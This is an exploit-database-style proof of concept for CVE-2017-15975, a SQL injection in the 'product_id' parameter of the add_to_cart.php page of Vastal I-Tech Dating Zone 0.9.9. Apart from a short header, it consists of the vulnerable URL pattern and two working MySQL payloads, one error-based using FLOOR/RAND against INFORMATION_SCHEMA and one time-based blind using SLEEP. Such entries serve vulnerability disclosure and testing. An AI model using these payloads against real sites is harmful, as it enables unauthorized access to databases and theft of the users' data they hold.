Vastal I-Tech Dating Zone 0.9.9 - product_id SQL Injection

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# Exploit Title: Vastal I-Tech Dating Zone 0.9.9 - 'product_id' Parameter SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://vastal.com/
# Software http://vastal.com/dating-zone-the-dating-software.html
# Demo: http://datingzone.vastal.com/demo/
# Version: 0.9.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15975
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept: 
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# http://localhost/[PATH]/add_to_cart.php?product_id=[SQL]
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# Parameter: product_id (GET)
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: product_id=3 AND (SELECT 5917 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5917=5917,1))),0x71716b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: product_id=3 AND SLEEP(5)
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# Etc..
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